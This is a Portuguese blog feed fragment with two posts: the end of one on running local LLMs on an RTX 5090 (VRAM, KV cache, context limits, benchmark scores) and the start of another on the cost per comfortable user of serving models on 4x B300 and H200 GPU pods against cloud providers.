<p>O custo é que a 610M é fraca pra jogos e o multi-GPU da NVIDIA no Wayland tem suas manias. Eu preferi a reserva elástica, porque o modelo também descarrega quando fica ocioso.</p>
<p>A lição geral: <strong>não deixe motor de inferência tomar 100% de uma GPU que também desenha sua tela.</strong> Nesta configuração não tenho uma reserva rígida de VRAM no driver pro cliente de display. Precisei resolver do lado do motor: reservar alguns GB, reafirmar depois de cada cold start e medir de novo com a área de trabalho aberta.</p>
<h3>Os mesmos 32 GB também limitam a sessão<span class="hx:absolute hx:-mt-20" id="os-mesmos-32-gb-também-limitam-a-sessão"></span>
    <a href="#os-mesmos-32-gb-tamb%c3%a9m-limitam-a-sess%c3%a3o" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>A conta da 5090 é apertada por todos os lados. Os mesmos 32 GB precisam acomodar os pesos densos e buffers fixos do modelo, o cache dos especialistas quentes, a parte residente do KV cache e ainda a reserva de 4 GiB pro Hyprland, navegador e terminal. O que sobra pra uma coisa sai de outra.</p>
<p>KV cache é a memória da conversa. Cada token do prompt, das respostas anteriores e dos arquivos lidos cria estado que o modelo precisa consultar nos próximos tokens. No meu Strata ele está em <code>int8</code>, com 32K células por camada residentes na GPU.</p>
<p>O restante pode ser transmitido da RAM, por isso aumentar a janela de 128K pra 256K não aumentou a VRAM nem derrubou a velocidade no meu teste sintético. Esse streaming evita o estouro imediato, mas continua usando memória e não transforma uma 5090 num servidor sem limite.</p>
<p>O teto configurado aqui é <strong>262.144 tokens, ou 256K</strong>. Vários modelos comerciais que testei, inclusive os Claude mais novos, já trabalham na classe de 1 milhão de tokens. Quase quatro vezes a janela muda o jeito de trabalhar: no Claude Code dá pra acumular muito mais histórico antes da compactação; no Qwen local eu preciso tratar contexto como orçamento desde o primeiro prompt.</p>
<p>A conversa que aparece no terminal é só uma parte do contexto. Dependendo do harness, também entram o system prompt, <code>AGENTS.md</code> e <code>CLAUDE.md</code>, catálogo e conteúdo carregado de skills, descrições e schemas de ferramentas, servidores MCP, instruções de plugins, saídas de comandos, arquivos e o espaço reservado pra resposta. Uma skill bem implementada carrega o texto completo só quando é chamada, mas o catálogo dela ainda pode entrar no prompt. Plugin que registra vinte ferramentas também manda vinte schemas antes de você pedir qualquer coisa.</p>
<p>Foi por isso que o benchmark não usou meu OpenCode normal. O runner <a href="https://github.com/akitaonrails/llm-coding-benchmark#local-opencode-benchmark-config"target="_blank" rel="noopener">gera uma configuração isolada</a>, sem os plugins e MCPs globais, com apenas os providers e agentes necessários pro teste. Também fixa o limite real de 262.144 tokens em vez de fingir que o modelo aceita o contexto anunciado por outro backend.</p>
<p>Pra usar esse Qwen no dia a dia, eu faria a mesma limpeza:</p>
<ul>
<li>começar com o harness mais enxuto possível e ativar plugins ou MCPs quando o projeto realmente precisar;</li>
<li>deixar skills pesadas sob demanda, sem despejar manuais inteiros no começo da sessão;</li>
<li>compactar ou abrir uma sessão nova antes de encostar no teto, registrando decisões importantes em arquivos do projeto;</li>
<li>reservar espaço pra saída do modelo. Uma janela lotada de entrada não serve se não sobra token pra ele pensar, chamar ferramentas e responder.</li>
</ul>
<blockquote>
  <p>Com 256K, contexto é recurso de hardware. Instalar integração demais e carregar tudo em toda sessão consome janela e memória antes do trabalho começar.</p>

</blockquote>
<h2>Mas o Qwen 3.8 não era lento demais?<span class="hx:absolute hx:-mt-20" id="mas-o-qwen-38-não-era-lento-demais"></span>
    <a href="#mas-o-qwen-38-n%c3%a3o-era-lento-demais" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Era, e eu escrevi isso. No <a href="/2026/09/15/novo-llm-benchmark-v4-retestando-todos-llms-parte-2/">ranking do v4</a>, o Qwen 3.8 27B rodando local levou quase 12 horas pra fechar as sete sprints. No <a href="/2026/10/19/llm-benchmark-v4-os-top-llms-open-source-numa-b300/">artigo da B300</a> eu resumi: fez 80, levou 706 minutos, &ldquo;então nem tente&rdquo;.</p>
<p>Só que aquele é outro Qwen 3.8. A família tem os dois, e eles se comportam de jeitos opostos em casa:</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>Qwen 3.8 27B</th>
          <th>Qwen3.8 Flash-Next</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Arquitetura</td>
          <td>denso, 27B</td>
          <td>MoE, 125B no total, 6B ativos por token</td>
      </tr>
      <tr>
          <td>Onde terminou o v4</td>
          <td>Strix Halo, Q8_0</td>
          <td>RTX 5090, IQ3_S, Strata</td>
      </tr>
      <tr>
          <td>Velocidade</td>
          <td>7,7 tok/s</td>
          <td><strong>159,2 tok/s</strong></td>
      </tr>
      <tr>
          <td>Nota v4</td>
          <td>80,0 (B)</td>
          <td><strong>91,0 (A)</strong></td>
      </tr>
  </tbody>
</table>
<h3>Por que o maior roda mais rápido<span class="hx:absolute hx:-mt-20" id="por-que-o-maior-roda-mais-rápido"></span>
    <a href="#por-que-o-maior-roda-mais-r%c3%a1pido" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Na geração de token, máquina local é limitada por banda de memória: cada token precisa ler todos os pesos ativos. O 27B denso lê os 27 bilhões a cada token, uns 29 GB em Q8. A Strix move uns 256 GB/s, então o teto fica perto de 9 tokens por segundo, e eu medi 7,7.</p>
<p>Na 5090 o mesmo 27B seria rápido, mas em Q8 ele não cabe nos 32 GB junto com o contexto que sete sprints acumulam. Em Q5_K_M ele coube, mas travou num loop de raciocínio no sprint 3. Terminou na Strix, em Q8_0 e com o raciocínio desligado (<code>--reasoning off</code>), que foi o que destravou o loop.</p>
<p>O Flash-Next tem quase cinco vezes mais parâmetros no total, mas só uns 6 bilhões trabalham por token. Em 3 bits, isso é por volta de um décimo do que o 27B em Q8 precisa ler. Os especialistas quentes ficam na GDDR7 da 5090, com sete vezes a banda da Strix, e o ajudante de especulação adianta tokens. Resultado: uns 20 vezes a velocidade do 27B na Strix, com nota maior.</p>
<blockquote>
  <p>A virada veio da troca de modelo e de motor: um MoE com poucos parâmetros ativos, servido por um motor de expert-offload feito sob medida pra ele. Flag nenhuma de configuração tiraria isso do 27B denso na Strix.</p>

</blockquote>
<h3>O tuning ainda cobra<span class="hx:absolute hx:-mt-20" id="o-tuning-ainda-cobra"></span>
    <a href="#o-tuning-ainda-cobra" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>O preço de rodar em casa muda de modelo pra modelo. O Flash-Next em 3 bits perdeu só 1,5 ponto contra a versão NVFP4 da B300. A Ornith-35B, no mesmo motor e na mesma placa, perdeu 16,5 contra a versão BF16 dela na B300. Meça o seu modelo antes de confiar nele.</p>
<h2>O que cada modelo fez de interessante<span class="hx:absolute hx:-mt-20" id="o-que-cada-modelo-fez-de-interessante"></span>
    <a href="#o-que-cada-modelo-fez-de-interessante" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><strong>Flash-Next: a prova de que consumidor chega em Tier A.</strong> 34 de 40 sem aviso, mais 6 com peso de revelação, e só dois itens precisando de apontar. Nenhum nudge, todas as sprints limpas. É o único local que junta nota de Tier A, velocidade interativa (159 tok/s) e protocolo completo sem ajuda. Se a pergunta é &ldquo;da pra usar no trabalho&rdquo;, esse é o exemplo.</p>
<p><strong>Ornith-35B: rápido, mas não bom o suficiente.</strong> A mesma Ornith que fez 81 na B300 em BF16 fez 64,5 na 5090 com Q8_0. Caiu a detecção sem aviso de 30 pra 23. Mudou quantização, motor e hardware ao mesmo tempo, então não dá pra isolar a causa: essa combinação de Q8_0 + Strata + 5090 perdeu 16,5 pontos, e eu não sei quanto veio de cada variável. O recado é claro: &ldquo;roda rápido&rdquo; não é &ldquo;revisa bem&rdquo;.</p>
<p><strong>Qwen 27B: boa nota, péssima experiência.</strong> Fez 80 na retomada na Strix, com sprints 1 e 2 na 5090, quase o 80,5 da B300. Mas 7,7 tok/s na sonda Q8 e 706 minutos de wall time. E ainda por cima zero consertos na revelação, com quatro itens abertos. Usar isso no dia a dia é escolher esperar.</p>
<p><strong>GLM-4.7-Flash: o motor rodou, o modelo falhou.</strong> Protocolo completo em 29 minutos, e zero detecção sem aviso. Recuperou 8 de 14 só quando apontado, e mesmo assim deixou os consertos sem commit. Na B300 ele fez 33,5, que também não é bom. O problema não é só a placa.</p>
<h2>A distância entre as categorias<span class="hx:absolute hx:-mt-20" id="a-distância-entre-as-categorias"></span>
    <a href="#a-dist%c3%a2ncia-entre-as-categorias" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A pergunta que todo dev tem é se consumidor já chega lá. Comparação direta, na mesma régua:</p>
<table>
  <thead>
      <tr>
          <th>Categoria</th>
          <th>Modelos</th>
          <th style="text-align: right">Nota</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Frontier comercial</td>
          <td>Claude Opus 5 / 5.5</td>
          <td style="text-align: right">100,0</td>
      </tr>
      <tr>
          <td>Frontier comercial</td>
          <td>GPT-6 Luna</td>
          <td style="text-align: right">95,5</td>
      </tr>
      <tr>
          <td>Frontier comercial</td>
          <td>GLM 5.3 (hospedado)</td>
          <td style="text-align: right">94,0</td>
      </tr>
      <tr>
          <td>Frontier comercial</td>
          <td>GPT-6 Sol / Sonnet 5</td>
          <td style="text-align: right">91,0</td>
      </tr>
      <tr>
          <td>Frontier comercial</td>
          <td>Kimi K3</td>
          <td style="text-align: right">85,0</td>
      </tr>
      <tr>
          <td>Open datacenter</td>
          <td>DeepSeek V4.1 Flash (4x B300)</td>
          <td style="text-align: right">92,5</td>
      </tr>
      <tr>
          <td>Open datacenter</td>
          <td>GLM 5.3 Flash / Qwen3.8 Flash-Next (B300)</td>
          <td style="text-align: right">92,5</td>
      </tr>
      <tr>
          <td><strong>Open consumidor</strong></td>
          <td><strong>Qwen3.8 Flash-Next (5090 + Strata)</strong></td>
          <td style="text-align: right"><strong>91,0</strong></td>
      </tr>
      <tr>
          <td>Open consumidor</td>
          <td>Qwen3.8-27B (Strix)</td>
          <td style="text-align: right">80,0</td>
      </tr>
      <tr>
          <td>Open consumidor</td>
          <td>Ornith-35B (5090)</td>
          <td style="text-align: right">64,5</td>
      </tr>
      <tr>
          <td>Open consumidor</td>
          <td>GLM-4.7-Flash (5090)</td>
          <td style="text-align: right">24,0</td>
      </tr>
  </tbody>
</table>
<p>A leitura é que o topo do consumidor está <strong>9 pontos abaixo do topo comercial absoluto e 1,5 ponto abaixo do topo aberto em datacenter</strong>, nessa métrica de vigilância. É uma distância pequena, e ela some quando você percebe que o GPT-6 Sol e o Sonnet 5 também estão a 91. O abismo real não é entre datacenter e consumidor: é entre o modelo certo e todos os outros. Entre o Flash-Next e a Ornith, na mesma 5090, são 26,5 pontos.</p>
<h2>Então, hardware de consumidor já serve pra trabalhar?<span class="hx:absolute hx:-mt-20" id="então-hardware-de-consumidor-já-serve-pra-trabalhar"></span>
    <a href="#ent%c3%a3o-hardware-de-consumidor-j%c3%a1-serve-pra-trabalhar" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p><strong>Serve, com o modelo e o motor certos.</strong> Uma RTX 5090 com Strata entrega Tier A em vigilância de código, a 159 tokens por segundo, sem pagar um centavo por token depois que o hardware existe. Pra quem faz revisão de código, testa agente de codificação e mantém dado privado em casa, isso muda o jogo.</p>
<p>Pela primeira vez neste benchmark eu tenho um modelo testado, em hardware de consumidor, que merece ir pro trabalho de todo dia. Já deixei o Flash-Next configurado no OpenCode apontando pra 5090. O próximo passo é usar em programação de verdade, fora da régua de sabotagem, e ver se a nota se sustenta.</p>
<p>O que não serve é achar que qualquer configuração serve. A Strix Halo é ótima pra ter 128 GB e montar modelo grande, mas a velocidade dela não paga interatividade; a Ornith roda rápido e revisa mal; o GLM-4.7-Flash completa protocolo e não detecta nada sem aviso. E tem o preço invisível: quantização agressiva pode cobrar nota, dependendo do modelo e da configuração, e tempo de espera cobra paciência.</p>
<p>Se eu fosse montar uma caixa pra um dev hoje, seria uma 5090 com Strata e o Flash-Next, e usaria a Strix pra tarefa de fundo que aceita ser lenta. A fronteira comercial continua ganhando de quem precisa do máximo. Mas o consumidor deixou de ser consolação: já tem Tier A na prateleira de casa.</p>
<h3>O problema agora é achar uma 5090<span class="hx:absolute hx:-mt-20" id="o-problema-agora-é-achar-uma-5090"></span>
    <a href="#o-problema-agora-%c3%a9-achar-uma-5090" class="subheading-anchor" aria-label="Permalink for this section"></a></h3><p>Em outubro, leakers garantiram que a NVIDIA ia parar de produzir a RTX 5090 e reservar os chips GB202 pras linhas profissionais e de datacenter. A placa chegou a sumir da loja oficial da NVIDIA nos Estados Unidos. No dia 16 de outubro, num evento em Taipei, o <strong>Jeff Fisher</strong>, vice-presidente sênior da NVIDIA, <a href="https://www.guru3d.com/story/nvidia-says-geforce-rtx-5090-production-is-continuing/"target="_blank" rel="noopener">negou a descontinuação</a> e disse que a empresa vai continuar entregando, mas admitiu que a capacidade de produção está apertada.</p>
<p>Na prática:</p>
<ul>
<li>o preço sugerido continua US$ 1.999, e a maioria dos anúncios na Newegg americana <a href="https://www.techspot.com/news/114254-nvidia-rtx-5090-production-but-absence-company-us.html"target="_blank" rel="noopener">passa de US$ 9.300, quase cinco vezes isso</a>;</li>
<li>no Brasil, cada unidade sai na casa dos <a href="https://www.baguete.com.br/noticias/carga-milionaria-de-gpus-some-de-guarulhos"target="_blank" rel="noopener">R$ 35 mil no varejo</a>;</li>
<li>e dois pallets de RTX 5090 da Zotac, importados pela distribuidora Oderço e avaliados em uns R$ 2,5 milhões, <a href="https://www.terra.com.br/noticias/misterio-em-guarulhos-r-25-milhoes-em-placas-de-video-desaparecem,a7596d7874eddfb490f96345b4be1b09z4eix4rc.html"target="_blank" rel="noopener">sumiram no aeroporto de Guarulhos</a>. A GRU Airport comunicou as autoridades, e o caso segue em investigação, sem confirmação de roubo.</li>
</ul>
<blockquote>
  <p>O primeiro modelo local Tier A do v4 roda justamente na placa mais difícil de comprar do momento. A prateleira de casa já tem Tier A. Falta conseguir a prateleira.</p>

</blockquote>
]]></content:encoded><category>benchmarks-de-llm</category><category>modelos-locais</category><category>llms</category><category>hardware</category></item><item><title>LLM Benchmark v4: meu time cabe em 4x B300/H200?</title><link>https://www.akitaonrails.com/2026/10/22/llm-benchmark-v4-can-my-team-fit-in-a-4x-b300-h200/</link><guid isPermaLink="true">https://www.akitaonrails.com/2026/10/22/llm-benchmark-v4-can-my-team-fit-in-a-4x-b300-h200/</guid><pubDate>Thu, 22 Oct 2026 11:00:00 -0300</pubDate><description>&lt;p&gt;Nos dois últimos artigos eu cobri o &lt;a href="https://www.akitaonrails.com/2026/10/19/llm-benchmark-v4-os-top-llms-open-source-numa-b300/"&gt;benchmark numa B300 única&lt;/a&gt; e o &lt;a href="https://www.akitaonrails.com/2026/10/22/llm-benchmark-v4-open-source-que-so-cabe-em-4x-b300/"&gt;ranking dos modelos grandes em 4x B300&lt;/a&gt;. A pergunta que fecha a trilogia é a da empresa: &lt;strong&gt;vale a pena montar uma infra de LLM própria pro time de desenvolvimento?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;A resposta depende de duas coisas: quantos usuários confortáveis o hardware aguenta, e quanto isso custa por pessoa. Medimos os dois.&lt;/p&gt;
&lt;h2&gt;A conta antes do teste&lt;span class="hx:absolute hx:-mt-20" id="a-conta-antes-do-teste"&gt;&lt;/span&gt;
&lt;a href="#a-conta-antes-do-teste" class="subheading-anchor" aria-label="Permalink for this section"&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Recapitulando os números do artigo anterior: o pod de 4x B300 custa &lt;strong&gt;US$ 36 por hora&lt;/strong&gt; (US$ 864/dia, quase US$ 26 mil/mês ligado direto). Comecei a campanha com uns US$ 127 de saldo, recarreguei US$ 2.550, e sobraram US$ 537. Foram &lt;strong&gt;uns US$ 2.140&lt;/strong&gt; entre setup, downloads, tuning e benchmarks, não só inferência.&lt;/p&gt;</description><content:encoded><![CDATA[<p>Nos dois últimos artigos eu cobri o <a href="/2026/10/19/llm-benchmark-v4-os-top-llms-open-source-numa-b300/">benchmark numa B300 única</a> e o <a href="/2026/10/22/llm-benchmark-v4-open-source-que-so-cabe-em-4x-b300/">ranking dos modelos grandes em 4x B300</a>. A pergunta que fecha a trilogia é a da empresa: <strong>vale a pena montar uma infra de LLM própria pro time de desenvolvimento?</strong></p>
<p>A resposta depende de duas coisas: quantos usuários confortáveis o hardware aguenta, e quanto isso custa por pessoa. Medimos os dois.</p>
<h2>A conta antes do teste<span class="hx:absolute hx:-mt-20" id="a-conta-antes-do-teste"></span>
    <a href="#a-conta-antes-do-teste" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Recapitulando os números do artigo anterior: o pod de 4x B300 custa <strong>US$ 36 por hora</strong> (US$ 864/dia, quase US$ 26 mil/mês ligado direto). Comecei a campanha com uns US$ 127 de saldo, recarreguei US$ 2.550, e sobraram US$ 537. Foram <strong>uns US$ 2.140</strong> entre setup, downloads, tuning e benchmarks, não só inferência.</p>
<p>No meio, o saldo zerou, o pod morreu durante um autotune, e na hora de recarregar <strong>não havia B300 disponível</strong>. É o risco operacional da Runpod: o preço muda e a oferta some. A alternativa foi um pod de 4x H200, com preço de tabela na casa de <a href="https://www.runpod.io/pricing"target="_blank" rel="noopener">US$ 3,59 por GPU-hora na Community Cloud</a>: US$ 14,36/hora pras quatro na conta de tabela, contra US$ 36 das B300.</p>
<h2>B300 e H200 não são a mesma máquina<span class="hx:absolute hx:-mt-20" id="b300-e-h200-não-são-a-mesma-máquina"></span>
    <a href="#b300-e-h200-n%c3%a3o-s%c3%a3o-a-mesma-m%c3%a1quina" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>A diferença de hardware muda mais que o preço:</p>
<table>
  <thead>
      <tr>
          <th></th>
          <th>4x B300</th>
          <th>4x H200</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Arquitetura</td>
          <td>Blackwell Ultra (<code>sm_103a</code>)</td>
          <td>Hopper (<code>sm_90</code>)</td>
      </tr>
      <tr>
          <td>VRAM</td>
          <td>~288 GB por GPU, ~1,1 TB total</td>
          <td>~141 GB por GPU, ~560 GB total</td>
      </tr>
      <tr>
          <td>Formatos nativos</td>
          <td>FP8 e FP4/NVFP4</td>
          <td>FP8 (sem FP4 nativo)</td>
      </tr>
      <tr>
          <td>Toolchain</td>
          <td>CUDA 12.9+ e kernels compilados na hora</td>
          <td>mais maduro, mas ainda com remendos de JIT</td>
      </tr>
  </tbody>
</table>
<p>A troca teve custo de adaptação: o checkpoint NVFP4 do GLM que rodava na B300 não existe pra Hopper, então foi preciso baixar a variante FP8 dele, e mesmo o DeepSeek precisou de ajuste de kernel. Os resultados de concorrência abaixo são com os dois em FP8 nativo, que é a comparação justa possível.</p>
<h2>Como medimos &ldquo;cabe um time&rdquo;<span class="hx:absolute hx:-mt-20" id="como-medimos-cabe-um-time"></span>
    <a href="#como-medimos-cabe-um-time" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>O teste usa <code>vllm bench serve</code> contra o localhost de cada pod, com requisições de 8.000 tokens de entrada e 800 de saída (uma carga sintética no formato de sessão de codificação), subindo a concorrência N degrau por degrau.</p>
<p>O critério de conforto é o que importa: <strong>TTFT de até 2 segundos e TPOT de até 20 ms por token</strong> (ou seja, pelo menos 50 tokens/s por stream), com <strong>95% ou mais das requisições</strong> cumprindo os dois limites. Não é &ldquo;a mediana ficou boa&rdquo;: é quase todo mundo bem atendido. Um time que espera 50 segundos pelo primeiro token não é um time, é uma fila.</p>
<p>E o aviso de honestidade: isso mede requisições de código confortáveis, não pessoas. Não tenho um multiplicador medido de duty-cycle de agente interativo, então não vou inventar que cada N vira 2 ou 3 desenvolvedores.</p>
<h2>Os números<span class="hx:absolute hx:-mt-20" id="os-números"></span>
    <a href="#os-n%c3%bameros" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><table>
  <thead>
      <tr>
          <th>Modelo / hardware</th>
          <th style="text-align: right">Stream único</th>
          <th style="text-align: right">Confortável (N)</th>
          <th style="text-align: right">Porta solta (só mediana)</th>
          <th style="text-align: right">Pico agregado</th>
          <th>Gargalo</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>DeepSeek V4.1 Flash, 4x B300 FP8</td>
          <td style="text-align: right">177 tok/s</td>
          <td style="text-align: right"><strong>32</strong></td>
          <td style="text-align: right">48</td>
          <td style="text-align: right">2.778 tok/s</td>
          <td>prefill (TTFT)</td>
      </tr>
      <tr>
          <td>DeepSeek V4.1 Flash, 4x H200 FP8</td>
          <td style="text-align: right">137 tok/s</td>
          <td style="text-align: right"><strong>8</strong></td>
          <td style="text-align: right">16</td>
          <td style="text-align: right">2.506 tok/s</td>
          <td>prefill (TTFT)</td>
      </tr>
      <tr>
          <td>GLM 5.3 Flash, 4x H200 FP8</td>
          <td style="text-align: right">175 tok/s</td>
          <td style="text-align: right"><strong>8</strong></td>
          <td style="text-align: right">16</td>
          <td style="text-align: right">1.930 tok/s</td>
          <td><strong>KV cache, 97%</strong></td>
      </tr>
  </tbody>
</table>
<p>Leia com calma, porque tem três histórias aqui.</p>
<p><strong>A B300 atende quatro vezes mais gente no conforto.</strong> Mesmo modelo, mesmo FP8, mesmo TP4: 32 usuários confortáveis contra 8. O agregado da H200 até impressiona (2.506 tok/s), mas isso é fila de prefill: o p99 de TTFT chega a cerca de 51 segundos em N=256, então o usuário espera um minuto antes de ver qualquer coisa. Throughput alto não é capacidade interativa.</p>
<p>O penhasco é tão íngreme que vale olhar os números de perto. Em N=16, o p99 de TTFT era 1,17 s na B300 e 3,19 s na H200, com 100% e 92,7% das requisições boas. Em N=32, a B300 ainda segurava 97,4% dentro do SLO (2,23 s), enquanto a H200 desabou pra 8,3% (6,58 s). E em N=48 a B300 caiu pra 92%, abaixo do meu corte de 95%: por isso o confortável é 32 e não 48. A diferença entre &ldquo;funciona&rdquo; e &ldquo;funciona pra todo mundo&rdquo; mora nesses últimos 2 pontos percentuais.</p>
<p><strong>Modelo pesado e leve empatam na H200.</strong> O DeepSeek de 510 GB e o GLM menor sustentam os mesmos 8 confortáveis, por motivos diferentes: o DeepSeek tem KV eficiente via MLA e morre de compute/prefill; o GLM estoura o KV cache (97% de uso). Escolher hardware por contagem de parâmetros é olhar pro lugar errado: a arquitetura do KV é que manda na concorrência.</p>
<p><strong>A porta solta engana.</strong> Se você olhar só a mediana, dá pra dizer 48 na B300 e 16 na H200. Só que a cauda do p99 destrói a experiência de quem está do outro lado. Pra dimensionar time, uso o número confortável e pronto.</p>
<h2>Custo por usuário confortável<span class="hx:absolute hx:-mt-20" id="custo-por-usuário-confortável"></span>
    <a href="#custo-por-usu%c3%a1rio-confort%c3%a1vel" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Agora a aritmética que decide:</p>
<ul>
<li><strong>4x B300:</strong> US$ 36/h ÷ 32 = <strong>US$ 1,13 por usuário confortável por hora</strong>.</li>
<li><strong>4x H200:</strong> US$ 14,36/h ÷ 8 = <strong>US$ 1,80 por usuário confortável por hora</strong>.</li>
</ul>
<p>A B300 ganha por pessoa mesmo custando 2,5x mais o pod. A H200 só viraria mais barata por usuário abaixo de US$ 9/hora o pod inteiro, e na tabela atual ela custa US$ 14,36. O ponto de corte não é o preço da máquina, é a capacidade dela.</p>
<h2>E se a sua empresa já vive em AWS ou Azure?<span class="hx:absolute hx:-mt-20" id="e-se-a-sua-empresa-já-vive-em-aws-ou-azure"></span>
    <a href="#e-se-a-sua-empresa-j%c3%a1-vive-em-aws-ou-azure" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Dá pra montar a mesma infra nos hiperescalares, mas o preço muda de categoria. Os valores de tabela que eu conferi, por GPU-hora:</p>
<table>
  <thead>
      <tr>
          <th>Provedor</th>
          <th>Configuração</th>
          <th style="text-align: right">Preço por GPU-hora</th>
          <th style="text-align: right">Contra Runpod</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Runpod, 4x B300 (minha campanha)</td>
          <td>B300</td>
          <td style="text-align: right">US$ 9,00</td>
          <td style="text-align: right">1x</td>
      </tr>
      <tr>
          <td>Runpod, 4x H200 (Community Cloud)</td>
          <td>H200</td>
          <td style="text-align: right"><a href="https://www.runpod.io/pricing"target="_blank" rel="noopener">US$ 3,59</a></td>
          <td style="text-align: right">0,4x</td>
      </tr>
      <tr>
          <td><a href="https://themodelpress.com/gpu-prices"target="_blank" rel="noopener">AWS, p6-b300.48xlarge</a></td>
          <td>8x B300, capacity block</td>
          <td style="text-align: right">US$ 16,15</td>
          <td style="text-align: right">1,8x</td>
      </tr>
      <tr>
          <td>AWS, p6-b200.48xlarge</td>
          <td>8x B200, capacity block</td>
          <td style="text-align: right">US$ 14,21</td>
          <td style="text-align: right">1,6x</td>
      </tr>
      <tr>
          <td><a href="https://themodelpress.com/gpu-prices/azure-nd-h200-v5-on-demand"target="_blank" rel="noopener">Azure, ND96isr_H200_v5</a></td>
          <td>8x H200, East US 2</td>
          <td style="text-align: right">US$ 10,60</td>
          <td style="text-align: right">3,0x</td>
      </tr>
  </tbody>
</table>
<p>A B300 na AWS custa 1,8x o que eu paguei na Runpod, e a H200 na Azure custa quase 3x a da Runpod. A conclusão de capacidade não muda (a física do tensor parallelism e do KV cache é a mesma), mas a conta de &ldquo;vale a pena&rdquo; piora bem: se na Runpod a B300 empata com a assinatura na faixa de 30 usuários, na AWS ela passa a perder por uma margem confortável.</p>
<p>E na prática, quanto sai por desenvolvedor, desligando o pod à noite como nas outras contas (8 horas por dia útil, 176 horas/mês)? As linhas de AWS e Azure são aritmética normalizada pra 4 GPUs, porque os SKUs citados vêm com 8 e eu não medi TP=8:</p>
<table>
  <thead>
      <tr>
          <th>Setup</th>
          <th>Custo mensal do pod</th>
          <th style="text-align: right">Streams confortáveis (1 por dev)</th>
          <th style="text-align: right">Custo por dev/mês</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Runpod 4x B300 (US$ 36/h)</td>
          <td>US$ 6.336</td>
          <td style="text-align: right">32</td>
          <td style="text-align: right">US$ 198</td>
      </tr>
      <tr>
          <td>AWS 4x B300 (US$ 64,58/h, normalizado)</td>
          <td>US$ 11.367</td>
          <td style="text-align: right">32</td>
          <td style="text-align: right">US$ 355</td>
      </tr>
      <tr>
          <td>Runpod 4x H200 (US$ 14,36/h)</td>
          <td>US$ 2.527</td>
          <td style="text-align: right">8</td>
          <td style="text-align: right">US$ 316</td>
      </tr>
      <tr>
          <td>Azure 4x H200 (US$ 42,40/h, normalizado)</td>
          <td>US$ 7.462</td>
          <td style="text-align: right">8</td>
          <td style="text-align: right">US$ 933</td>
      </tr>
  </tbody>
</table>
<p>A diferença é brutal: o mesmo desenvolvedor confortável sai por US$ 198 na Runpod e por US$ 933 na Azure, quase cinco vezes mais caro que a assinatura de frontier mais forte. A AWS fica quase 80% acima da Runpod, então mesmo ela só faz sentido se a sua exigência for outra coisa que não custo.</p>
<p>E se você pegar a instância inteira de 8 GPUs, como elas são vendidas? A AWS sai por US$ 22.734/mês e a Azure por US$ 14.925/mês, e aí você tem que medir TP=8 pra saber quantos usuários aproveita, porque com TP=4 você paga o dobro pela mesma capacidade.</p>
<p>Os modelos comerciais também são diferentes: capacity block na AWS não é on-demand, e a Community Cloud da Runpod não é SLA de produção. Leia essa tabela como ordem de grandeza de preço, não como cotação de contrato. Se a sua exigência é compliance, procurement ou residência em região específica, o hiperescalar pode ser inevitável, e aí você paga o prêmio. Se a exigência é só preço, as neoclouds ganham nessas configurações.</p>
<h2>E se em vez de alugar, eu comprar a máquina?<span class="hx:absolute hx:-mt-20" id="e-se-em-vez-de-alugar-eu-comprar-a-máquina"></span>
    <a href="#e-se-em-vez-de-alugar-eu-comprar-a-m%c3%a1quina" class="subheading-anchor" aria-label="Permalink for this section"></a></h2><p>Quando a conta de aluguel dói, a pergunta natural é comprar o hardware. Dois candidatos da prateleira atual:</p>
<p><strong>DGX Station GB300</strong> (~US$ 130 mil, com configurações começando em torno de US$ 95 mil): 748 GB de memória unificada (252 GB de HBM3e a 7,1 TB/s e 496 GB de LPDDR5X a 396 GB/s), 20 PFLOPS em FP4. Os pesos de todos os modelos que eu testei cabem nela, e os melhores pra colocar nela seriam:</p>
<ul>
<li><strong>DeepSeek V4.1 Flash</strong> (92,5/A, 510 GB em FP8), o campeão do benchmark;</li>
<li><strong>Muse Spark Open</strong> (69,5/C, 533 GB em NVFP4);</li>
<li><strong>Step-5-Preview</strong> (72,5/C, 368 GB em NVFP4);</li>
<li><strong>GLM 5.3 full</strong> (76/B, 704 GB em FP8).</li>
</ul>
<p>Cabe, mas caber não é servir: o GLM full deixaria só uns 44 GB pra KV cache e sistema, então a concorrência plena com contexto longo fica por medir. A estimativa de conforto é de um dígito, na linha da H200, e não os 32 do pod de quatro. A diferença é que você não precisa de TP=4: tudo mora num chip só.</p>
<p><img src="dgx-station-gb300.jpg" alt="Render da DGX Station GB300, o desktop com superchip Grace Blackwell Ultra e 748 GB de memória unificada"  loading="lazy" /></p>
<p><strong>DGX Spark</strong> (~US$ 6.950 na loja atual da NVIDIA): 128 GB unificados, 1 PFLOP em FP4, 273 GB/s de banda. O recheio bom pra ela é de modelo pequeno e médio, e ele é melhor do que parece:</p>
<p>E tem um detalhe que dói de ver na fatura: por estimativa minha, sem auditoria fechada de todos os custos da primeira rodada, somando os créditos do v4 (aqueles ~40 modelos comerciais) com os US$ 2.140 desta campanha de B300/H200, eu já gastei alguns mil dólares entre API e pods, perto de metade do preço de uma DGX Spark. E ainda assim eu não teria uma máquina guardada em casa por causa disso.</p>
<ul>
<li><strong>Qwen3.8 Flash-Next</strong> (92,5/A), o co-líder da B300 única. Em IQ3_S ele fica na casa de dezenas de GB, e foi exatamente o modelo que fez 91,0 na RTX 5090 com Strata. É o melhor modelo que eu recomendaria pra uma Spark hoje.</li>
